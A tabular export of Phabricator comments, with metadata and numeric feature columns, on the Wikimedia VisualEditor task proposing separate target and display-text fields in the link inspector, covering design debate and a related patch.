* If there's annotations on the content (bold, italic, etc), the field is enabled, and contains the plain text version. Making a change to its contents will remove all internal annotations from the link. (i.e. if it's in a block of bold text, it'll stay bold, but if part of the inside was bold, that'll be lost)"
754029,VisualEditor: Link input widget should have separate inputs for target and display text,"I'm glad this is being worked on.

>>! In T55973#2761021, @DLynch wrote:
> {F4685690}
> 
> (Prior to any Design feedback.)

Please don't use these weird right-side labels. TextInputWidget's 'label' option should never have been created. :/

Unless design folks invent something new, there are two options that would be consistent with existing interfaces:
* Just use a FieldLayout :)
* Use a 'placeholder' and insert an invisible label somewhere for accessibility.",,,1478104836,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0.0,1.0,0.0,4.0,1.0,7.0,1.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,1.0,1.0,0.0,5.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,12.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,13.0,1.0,1.0,6.0,0.0,2.0,0.0,0.0,8.0,1.0,1.0,0.0,1.0,5.0,5.0,0.0,5.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,4.08235294117647,0.7764705882352941,"I'm glad this is being worked on.

QUOTE
QUOTE
QUOTE
QUOTE

Please don't use these weird right-side labels. TextInputWidget's 'label' option should never have been created. :/

Unless design folks invent something new, there are two options that would be consistent with existing interfaces:
* Just use a FieldLayout :)
* Use a 'placeholder' and insert an invisible label somewhere for accessibility."
754026,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2763892, @DLynch wrote:
> The other options I came up with are context item:
> {F4688837}
> (With attendant ""we need to think up an icon that intuitively symbolizes 'select all'"" dilemma, which nobody else seems to have really cracked. My favorite, after a bunch of searching, was [Blackberry's](https://help.blackberry.com/en/blackberry-leap/10.3.1/help/hjo1405445343190_hiresdevice_en-us.png))
> 
> Or inspector:
> {F4688838}

I'm pretty sure that people will not edit the label with that version. Edit label is not as obvious as it is on your first proposal with two separate fields.

Speaking of which, how do you deal with a label which includes some wikitext formatting, like bold or, worse, an in-line template?",,,1478104532,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1.0,0.0,0.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,13.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.0,12.0,9.0,1.0,0.0,0.0,5.0,0.0,4.0,3.0,0.0,1.0,1.0,0.0,0.0,3.6623376623376624,0.6753246753246753,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm pretty sure that people will not edit the label with that version. Edit label is not as obvious as it is on your first proposal with two separate fields.

Speaking of which, how do you deal with a label which includes some wikitext formatting, like bold or, worse, an in-line template?"
754012,VisualEditor: Link input widget should have separate inputs for target and display text,"The other options I came up with are context item:
{F4688837}
(With attendant ""we need to think up an icon that intuitively symbolizes 'select all'"" dilemma, which nobody else seems to have really cracked. My favorite, after a bunch of searching, was [Blackberry's](https://help.blackberry.com/en/blackberry-leap/10.3.1/help/hjo1405445343190_hiresdevice_en-us.png))

Or inspector:
{F4688838}",,,1478102871,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,6.0,0.0,5.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,3.0,3.8484848484848486,0.8333333333333334,"The other options I came up with are context item:
{F4688837}
(With attendant ""we need to think up an icon that intuitively symbolizes 'select all'"" dilemma, which nobody else seems to have really cracked. My favorite, after a bunch of searching, was [Blackberry's](URL

Or inspector:
{F4688838}"
753324,VisualEditor: Link input widget should have separate inputs for target and display text,"{F4685690}

(Prior to any Design feedback.)",,,1478028816,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"{F4685690}

(Prior to any Design feedback.)"
709658,VisualEditor: Link input widget should have separate inputs for target and display text,"Regular users have a really understand creating a mental model of how links work, especially when the label (nearly) matches the target. Having both side by side in the edit area makes it a lot clearer what is going on. More experienced users will be able to use the edit surface as designed.",,,1470870679,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,162,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,5.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,5.0,3.0,0.0,0.0,4.067796610169491,0.8305084745762712,"Regular users have a really understand creating a mental model of how links work, especially when the label (nearly) matches the target. Having both side by side in the edit area makes it a lot clearer what is going on. More experienced users will be able to use the edit surface as designed."
709654,VisualEditor: Link input widget should have separate inputs for target and display text,"To elaborate slightly, 303956,2 adds some protection in to make sure it won't replace the current label text if it hasn't been changed from its initial value, so even internal annotations will be preserved if you're only editing the target.",,,1470870456,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,162,,2.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,13.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.369565217391305,0.8913043478260869,"To elaborate slightly, 303956,2 adds some protection in to make sure it won't replace the current label text if it hasn't been changed from its initial value, so even internal annotations will be preserved if you're only editing the target."
709653,VisualEditor: Link input widget should have separate inputs for target and display text,"Moving from gerrit:

**James F:**
This creates a TextInputWidget which is just wrong; the contents covered by the link annotation could be anything up to and including <span>s, <img>s and so on; this would need to be a complete SurfaceWidget, which would totally dominate this inspector and destroy the whole design of it being a lightweight, simple control. I'm pretty strongly against this change for exactly this reason.

**David L:**
James: This is totally cribbing from Google Docs' design for link labels. It shows the field... if the label is simple. If it's not simple, it hides it. That lets us give people a field that works in most cases, and won't break anything otherwise.
Admittedly, I just have it *disabled* if it's not-simple, on the theory that might be less confusing, but I could go full-hidden.

**Ed S:**
That is technically true, however in almost all cases additional annotations to the link are covering, and can be preserved. This is the same behaviour as Google Docs. Links containing content (e.g. img) are many times rarer still. For these cases we can block/and or warn (or not).",,,1470870390,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,162,,0.6666666666666666,0.6666666666666666,1.0,0.3333333333333333,1.3333333333333333,6.333333333333333,3.0,0.0,0.0,1.0,2.3333333333333335,1.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,7.666666666666667,7.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.3333333333333333,5.666666666666667,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,9.666666666666666,2.0,1.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.333333333333333,4.333333333333333,9.666666666666666,1.0,3.3333333333333335,8.666666666666666,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.0,0.0,4.0,7.0,6.666666666666667,0.0,0.3333333333333333,0.0,4.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,1.3333333333333333,3.6470588235294117,0.7529411764705882,"Moving from gerrit:

**James F:**
This creates a TextInputWidget which is just wrong; the contents covered by the link annotation could be anything up to and including <span>s, <img>s and so on; this would need to be a complete SurfaceWidget, which would totally dominate this inspector and destroy the whole design of it being a lightweight, simple control. I'm pretty strongly against this change for exactly this reason.

**David L:**
James: This is totally cribbing from Google Docs' design for link labels. It shows the field... if the label is simple. If it's not simple, it hides it. That lets us give people a field that works in most cases, and won't break anything otherwise.
Admittedly, I just have it *disabled* if it's not-simple, on the theory that might be less confusing, but I could go full-hidden.

**Ed S:**
That is technically true, however in almost all cases additional annotations to the link are covering, and can be preserved. This is the same behaviour as Google Docs. Links containing content (e.g. img) are many times rarer still. For these cases we can block/and or warn (or not)."
709364,VisualEditor: Link input widget should have separate inputs for target and display text,"To clarify the issue about ""display text"", both Google Docs and the patch above will maintain all covering annotations, but will remove any partial annotations if the text is edited (e.g. <a><b><i>He</i>llo</b></a> -> <a><b>Bye</b></a>). Also if the label contains any non-text (e.g. an inline image) it will be uneditable, but this is a very rare edge case.

This should also make the editing of external links and numbered external links a bit cleaner, getting rid of the 'add label' button for numbered external links.",,,1470850953,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,162,,2.0,0.0,1.0,0.5,0.0,8.5,2.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,2.0,0.0,2.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,4.0,1.0,3.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.0,4.5,2.5,0.0,3.0,0.0,1.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,4.5,3.884241854636591,0.7702067669172932,"To clarify the issue about ""display text"", both Google Docs and the patch above will maintain all covering annotations, but will remove any partial annotations if the text is edited (e.g. <a><b><i>He</i>llo</b></a> -> <a><b>Bye</b></a>). Also if the label contains any non-text (e.g. an inline image) it will be uneditable, but this is a very rare edge case.

This should also make the editing of external links and numbered external links a bit cleaner, getting rid of the 'add label' button for numbered external links."
708983,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 had a related patch set uploaded (by DLynch):
LinkAnnotationInspector: add a ""label"" field

[[https://gerrit.wikimedia.org/r/303956]]
",,,1470789051,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,162,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8214285714285714,"Change 303956 had a related patch set uploaded (by DLynch):
LinkAnnotationInspector: add a ""label"" field

[[GERRIT_URL]]
"
645086,VisualEditor: Link input widget should have separate inputs for target and display text,"Off in T124305 there's a patch to make it easier to select the link-contents, which avoids many of the issues a ""display text"" field has (most notably: it's not just text). It's held up on general ""what design do we want?"" concerns.",,,1460559037,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,145,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,2.0,2.0,7.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,2.0,2.0,0.0,3.293103448275862,0.8103448275862069,"Off in T124305 there's a patch to make it easier to select the link-contents, which avoids many of the issues a ""display text"" field has (most notably: it's not just text). It's held up on general ""what design do we want?"" concerns."
645036,VisualEditor: Link input widget should have separate inputs for target and display text,"It's now approaching two months since this was declined without adequate explanation and reopened pending that explanation. Please can we now have the reasoning (or a pointer to it) that led to the decline - this remains the biggest single hindrance to simple, intuitive use in my experience.",,,1460556396,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,145,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,11.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,2.0,4.0,13.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,4.537037037037037,0.8333333333333334,"It's now approaching two months since this was declined without adequate explanation and reopened pending that explanation. Please can we now have the reasoning (or a pointer to it) that led to the decline - this remains the biggest single hindrance to simple, intuitive use in my experience."
618787,VisualEditor: Link input widget should have separate inputs for target and display text,"Sorry Jdforrester, I re-opened this task. I don't doubt that a lot of thinking went into this idea - but could you please provide a concise summary of the reasons you don't want to see this implemented? Again, I don't doubt that there are good reasons, I just don't see any and haven't seen a discussion anywhere. Thank you!",,,1456522432,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,1.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,5.0,0.0,11.0,10.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,10.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,5.0,1.0,11.0,3.0,3.0,11.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,10.0,10.0,3.0,1.0,0.0,0.0,10.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.643835616438356,0.6575342465753424,"Sorry Jdforrester, I re-opened this task. I don't doubt that a lot of thinking went into this idea - but could you please provide a concise summary of the reasons you don't want to see this implemented? Again, I don't doubt that there are good reasons, I just don't see any and haven't seen a discussion anywhere. Thank you!"
618008,VisualEditor: Link input widget should have separate inputs for target and display text,"Thinking more about it, that you have had to have discussions about it in ""dozens of places"" (none of which are linked so we can verify this) suggests that actually there is a very strong desire for a two-box solution. 

WONTFIXing something that is so strongly desired by the editing community needs justification, particularly why two boxes would ""mak[e] the user experience too heavy"" - the only explanation actually given, and that was a musing two years ago. 

The only current way to be sure that both link target and link title are correct when editing is to delete what is currently there, write the title, select it, and then create a link. I am unable to correlate this with the goal of creating an editing interface that makes editing easy. ",,,1456418517,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,0.0,0.5,1.0,1.0,0.0,5.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,1.0,0.5,8.5,9.5,1.0,2.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.5,0.0,7.0,0.5,1.5,1.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,2.5,0.5,1.5,0.0,0.5,1.0,13.0,1.5,0.5,0.0,0.5,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.5,5.5,2.5,3.5,2.0,9.5,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,3.5,9.5,0.0,0.0,2.0,0.0,3.5,0.0,3.5,3.0,0.0,1.5,0.5,0.0,0.0,4.0855263157894735,0.7697368421052632,"Thinking more about it, that you have had to have discussions about it in ""dozens of places"" (none of which are linked so we can verify this) suggests that actually there is a very strong desire for a two-box solution. 

WONTFIXing something that is so strongly desired by the editing community needs justification, particularly why two boxes would ""mak[e] the user experience too heavy"" - the only explanation actually given, and that was a musing two years ago. 

The only current way to be sure that both link target and link title are correct when editing is to delete what is currently there, write the title, select it, and then create a link. I am unable to correlate this with the goal of creating an editing interface that makes editing easy. "
617990,VisualEditor: Link input widget should have separate inputs for target and display text,"I'd like to third this question. 
In informal discussions of VE this is one of the most frequent issues brought up. Indeed I'm astounded that anyone could be ""happy"" at this decision. ",,,1456417495,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,18.0,2.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.8,0.825,"I'd like to third this question. 
In informal discussions of VE this is one of the most frequent issues brought up. Indeed I'm astounded that anyone could be ""happy"" at this decision. "
616593,VisualEditor: Link input widget should have separate inputs for target and display text,"I'd like to second this question. You could at the very least state the reason why you decline this, as from this feature request it's not clear at all why one would not add this little, extremely helpful textbox in the link widget.",,,1456257863,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,2.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,2.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,6.0,0.0,4.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,3.877551020408163,0.7959183673469388,"I'd like to second this question. You could at the very least state the reason why you decline this, as from this feature request it's not clear at all why one would not add this little, extremely helpful textbox in the link widget."
616592,VisualEditor: Link input widget should have separate inputs for target and display text,"I'd like to second this question. You could at the very least state the reason why you decline this, as from this feature request it's not clear at all why one would not add this little, extremely helpful textbox in the link menu.",,,1456257811,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,2.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,2.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,6.0,0.0,4.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,3.836734693877551,0.7959183673469388,"I'd like to second this question. You could at the very least state the reason why you decline this, as from this feature request it's not clear at all why one would not add this little, extremely helpful textbox in the link menu."
616164,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2052851, @Jdforrester-WMF wrote:
> With the benefit of four years' discussion in dozens of places, I'm now happy to conclude that this is indeed Declined.

Because of...?",,,1456226144,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,138,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.875,"QUOTE
QUOTE

Because of...?"
615779,VisualEditor: Link input widget should have separate inputs for target and display text,"With the benefit of four years' discussion in dozens of places, I'm now happy to conclude that this is indeed Declined.",,,1456174729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,138,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,24.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.96,0.96,"With the benefit of four years' discussion in dozens of places, I'm now happy to conclude that this is indeed Declined."
543426,VisualEditor: Link input widget should have separate inputs for target and display text,[[ https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis#Am.C3.A9lioration_de_l.27insertion_de_lien | New feedback concerning the separate input fields ]]. I also strongly support this idea.,,,1444311377,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,118,,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,3.857142857142857,0.8571428571428571,[[ URL | New feedback concerning the separate input fields ]]. I also strongly support this idea.
477096,VisualEditor: Link input widget should have separate inputs for target and display text,"Changing a wikilink to an external link is not so smart, because text in the External links tab is not automatically selected, and therefore needs to be selected before being replaced by typing or pasting.",,,1434625821,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,8.0,5.0,8.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,5.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,4.5,0.868421052631579,"Changing a wikilink to an external link is not so smart, because text in the External links tab is not automatically selected, and therefore needs to be selected before being replaced by typing or pasting."
